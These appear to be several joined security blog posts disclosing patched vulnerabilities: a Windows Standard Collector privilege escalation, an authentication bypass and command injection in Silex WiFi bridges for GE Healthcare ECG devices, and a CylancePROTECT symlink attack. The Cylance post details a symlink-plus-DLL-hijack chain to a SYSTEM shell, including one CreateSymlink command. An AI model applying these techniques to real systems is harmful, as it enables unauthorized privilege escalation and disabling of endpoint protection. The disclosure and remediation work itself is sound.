Feel free to try out the SystemCollector PoC yourself. Turning the PoC into a portable exploit for offensive security engagements is a task I'll leave to the reader. The NtApiDotNet library is also a PowerShell module, which should make things a bit easier.
After this bug was patched as part of the August 2018 Patch Tuesday, I began reversing the patch, which was relatively simple. As expected, the patch simply added CoImpersonateClient calls prior to the previously vulnerable file operations, specifically the CommitPackagingResult function in DiagnosticsHub.StandardCollector.Runtime.dll:
Report folder being created with impersation
CoImpersonateClient added to CommitPackagingResult in DiagnosticsHub.StandardCollector.Runtime.dll
As previously mentioned in the Cylance privilege escalation write-up, protecting against symlink attacks may seem easy, but is often times overlooked. Any time a privileged service is performing file operations on behalf of a user, proper impersonation is needed in order to prevent these types of attacks.
Upon finding this vulnerability, MSRC was contacted with the vulnerability details and PoC. MSRC quickly triaged and validated the finding and provided regular updates throughout the remediation process. The full disclosure timeline can be found in the Atredis advisory link below.
If you have any questions or comments, feel free to reach out to me on Twitter: @ryHanson
Atredis Partners has assigned this vulnerability the advisory ID: ATREDIS-2018-0004
The CVE assigned to this vulnerability is: CVE-2018-0952
CVE-2018-0952: Privilege Escalation Vulnerability in Windows Standard Collector Service
A few months ago, Atredis Partners had an opportunity to look at the GE Healthcare MAC5500 Electrocardiography device. This device connects to a hospital network to transfer reports to a centralized server, simplifying the workflow for EKG measurements. To facilitate transfer of this data, GE Healthcare offers MobileLink, a WiFi enabled solution for collecting measurements.
The MAC5500 device does not directly connect to a WiFi network. Instead, it uses a serial to WiFi bridge made by Silex Technology. Two models of this bridge are supported by MobileLink: the SDS-500 and SD-320AN. Atredis Partners identified vulnerabilities in these devices that allow for authentication bypass and remote command execution. These vulnerabilities resulted in ICS-CERT advisory ICSMA-18-128-01. Atredis Partners disclosed these vulnerabilities according to our disclosure policy. Silex and GE Healthcare have provided a firmware update which resolves the code execution flaw and updated their documentation for the authentication bypass issue.
SDS-500 Authentication Bypass (CVE-2018-6020)
The first vulnerability is an authentication bypass for the SDS-500 device. The SDS-500 device uses bearer token authentication to validate that a user has logged in and has access to a given resource.
The check for this token is only performed for HTTP GET requests. HTTP POST requests, which are used to change device settings, are allowed without the token. The device administrator can configure an "update" password to force authentication of POST requests, but this feature is disabled by default.
By performing a POST request, an attacker can change any device setting. This includes the ability to change the device password. In a clinical environment, this may lead to a loss of availability if the device's parameters are modified.
SD-320AN Command Injection (CVE-2018-6021)
The SD-320AN is a newer serial to WiFi bridge made by Silex, and is replacing the SDS-500 for some MobileLink applications. Unlike the older SDS-500, the SD-320AN runs a Linux based operating system.
The SD-320AN is configured via a web interface, which is implemented by a CGI application written in C. In reviewing the application, multiple calls to system() were identified. A command injection vulnerability was found in one of these calls.
The SD-320AN firmware update package was found on the Silex website. This update package is a ZIP file that contains a firmware image named "SD-320.bin". Running the binwalk utility on this file indicates that it contains a bzip2-compressed Linux filesystem starting at offset zero.
Output of Binwalk for Firmware Image
The CGI application is a 32-bit ARM executable located at /usr/share/www/ssi. This executable was loaded into IDA Pro and all references to the system() function were examined.
Vulnerable Call to system()
In one instance, the system() function is used to set the PIN code for Wi-Fi Protected Setup (WPS) using the the WL_PINCODE_ENRO POST parameter. This value is automatically generated by the client-side Javascript in the web application and submitted in the POST request to change this setting. An attacker can send an arbitrary value for this parameter, which poisons the parameters to the system() call, allowing remote command execution on the SD-320AN.
Command Injection Request
Command Injection Response
Conclusions
Medical devices with network connectivity pose a risk to hospital infrastructure. Security requirements for these devices are minimal and security may not be a high priority to the manufacturer. Third-party components such as the Silex bridges discussed in this article present an additional challenge to OEMs.
While the vulnerabilities discussed in this article do not pose a risk to human life, they may allow an attacker to gain persistence in a medical network. Since the vulnerabilities are relatively simple, they may also be abused in a botnet attack similar to Mirai.
Finally, command injection attacks are far too common on these types of devices. Whenever possible, calls to system() should be avoided and instead the execve() function should be used with constant executable paths. While parameter injection attacks are still possible with execve(), this change would prevent many common command injection attacks and would have avoided the vulnerability presented here.
Atredis Partners would like to thank GE Healthcare for their prompt response to our advisory and to Silex Technology for confirming and responding to the reported issues.
If you regularly perform penetration tests, red team exercises, or endpoint assessments, chances are you've probably encountered CylancePROTECT at some point. Depending on the CylancePROTECT policy configuration, your standard tools and techniques may not have worked as expected. I've ran into situations where the administrators of CylancePROTECT set the policy to be too relaxed and establishing a presence on the target system was trivial. With that said, I've also encountered targets where the policy was very strict and gaining a stable, reliable shell was not an easy task.
After a few frustrating CylancePROTECT encounters, I decided to install it locally and learn more about how it works to try and make my next encounter less frustrating. The majority of CylancePROTECT is written in .NET, so I started by firing up dnSpy, loaded the assemblies, and started looking around. I spent several nights and weekends casually looking through the codebase (which is quite massive) and found myself spending most of my time analyzing how the CylanceUI process communicated with the CylanceSvc process. My hope was that I would find a secret command I could use to stop the service as a user, but no such command exists (for users). However, I did find a privilege escalation vulnerability that could be triggered as a user via the inter-process communication ("IPC") channels.
Several commands can be sent to the CylanceSvc from the CylanceUI process via the tray menu, some of which are enabled by starting the UI with the advanced flag: CylanceUI.exe /advanced
CylanceUI Advanced Menu
Prior to starting a deeper investigation of the different menu options, I used Process Monitor to get high level view of how CylancePROTECT interacted with Windows when I clicked these menu options. My favorite option ended up being the logging verbosity, not only because it gave me an even deeper insight into what CylancePROTECT was doing, but also because it plays a major role in this privilege escalation vulnerability. The 'Check for Updates' option also caught my eye in procmon because it caused the CyUpdate process to spawn as SYSTEM.
CyUpdate Spawning as SYSTEM
The procmon output I witnessed at this point told me quite a bit and was what made me begin my hunt for a possible privilege escalation vulnerability. The three main indicators were:
As a user, I could communicate with the CylanceSvc service and influences its behavior
As a user, I could trigger the CyUpdate process to spawn with SYSTEM privileges
As a user, I could cause the CylanceUI process to write to the same file/folder as the SYSTEM process
CylanceUI and CylanceSvc writing to log
CyUpdate writing to log
The third indicator is the most important. It’s not uncommon for a user process and system process to share the same resource, but it is uncommon for the user process to have full read/write permissions to that resource. I confirmed the permissions on the log folder and files with icacls:
Log folder and File Modify Permissions
Having modify permissions on a folder will allow for it to be setup as a mount point to redirect read/write operations to another location. I confirmed this by using James Forshaw's symboliclink-testing-tools to create a mount point, as well as try other symbolic link vectors. Before creating the mount point, I made sure to set CylancePROTECT’s log level to 'Error' to prevent additional logs from being created after I emptied the log folder.
Log folder mount point created
After creating the mount point, I increased the log verbosity and confirmed the log file was created in the mount point target folder, C:\Windows.
CylanceSvc writing log to C:\Windows\
CyUpdate change log file permissions
Log file modify permissions
Writing a log file to an arbitrary location is neat but doesn't demonstrate much impact or add value to an attack vector. To gain SYSTEM privileges with this vector, I needed to be able to control the filename that was written, as well as the contents of the file. Neither of these tasks can be accomplished by interacting with CylancePROTECT via the IPC channels. However, I was able to use one of Forshaw's clever symbolic link tricks to control the name of the file. This is done by using two symbolic links that are setup like this:
C:\Program Files\Cylance\Desktop\log mount point folder points to the \RPC Control\ object directory.
\RPC Control\2018-03-20.log symlink points to \??\C:\Windows\evil.dll
One of James' symbolic link testing tools will automatically create this symlink chain by simply specifying the original file and target destination, in this case the command looked like this, CreateSymlink.exe "C:\Program Files\Cylance\Desktop\log\2018-03-20.log" C:\Windows\evil.dll, and the result was:
Creating symlink chain to control filename
File with arbitrary name created in C:\Windows
At this point I've written a file to an arbitrary location with an arbitrary name and since the CyUpdate.exe process grants Users modify permissions on the "log file", I could overwrite the log contents with the contents of a DLL.
Contents of C:\Windows\evil.dll
Verifying overwrite permissions
From here all I needed to get a SYSTEM shell was a DLL hijack in a SYSTEM service. I decided to target CylancePROTECT for this because I knew I could reliably spawn the CyUpdate process as a user. Leveraging Procmon again, I set my filters to:
Path contains .dll
Result contains NOT
Process is CyUpdate.exe
The resulting output in procmon looked like this:
libc.dll hijack identified in procmon
Now all I had to do was setup the chain again, but this time point the symlink to C:\Program Files\Cylance\Desktop\libc.dll (any of the highlighted locations would have worked). This symlink gave me a modifiable DLL that I could force CylancePROTECT to load and execute, resulting in a SYSTEM shell:
Gaining SYSTEM shell and stopping CylanceSvc
Elevating our privileges from a user to SYSTEM is great, but more importantly, we meet the conditions required to communicate with the CylancePROTECT kernel driver CYDETECT. This elevated privilege allows us to send the ENABLE_STOP IOCTL code to the kernel driver and gracefully stop the service. In the screenshot above, you’ll notice the CylanceSvc is stopped as a result of loading the DLL.
Privilege escalation vulnerabilities via symbolic links are quite common. James Forshaw has found many of them in Windows and other Microsoft products. The initial identification of these types of bugs can be performed without ever opening IDA or doing any sort of static analysis, as I’ve demonstrated above. With that said, it is still a good idea to find the offending code and determine if it’s within a library that affects multiple services or an isolated issue.
Preventing symbolic link attacks may not be as easy as you would think. From a developer’s perspective, these types of vulnerabilities don’t stand out like a SQLi, XSS, or RCE bug since they’re typically a hard to spot permissions issue. When privileged services need to share file system resources with low-privileged users, it is very important that the user permissions are minimal.
Upon finding this vulnerability, Cylance was contacted, and a collaborative effort was made through Bugcrowd to remediate the finding. Cylance responded to the submission quickly and validated the finding within a few days. The fix was deployed 40 days after the submission and was included in the 1470 release of CylancePROTECT.
If you have any questions or comments, feel free to reach out to me on Twitter: @ryHanson
Atredis Partners has assigned this vulnerability the advisory ID: ATREDIS-2018-0003.
The CVE assigned to this vulnerability is: CVE-2018-10722
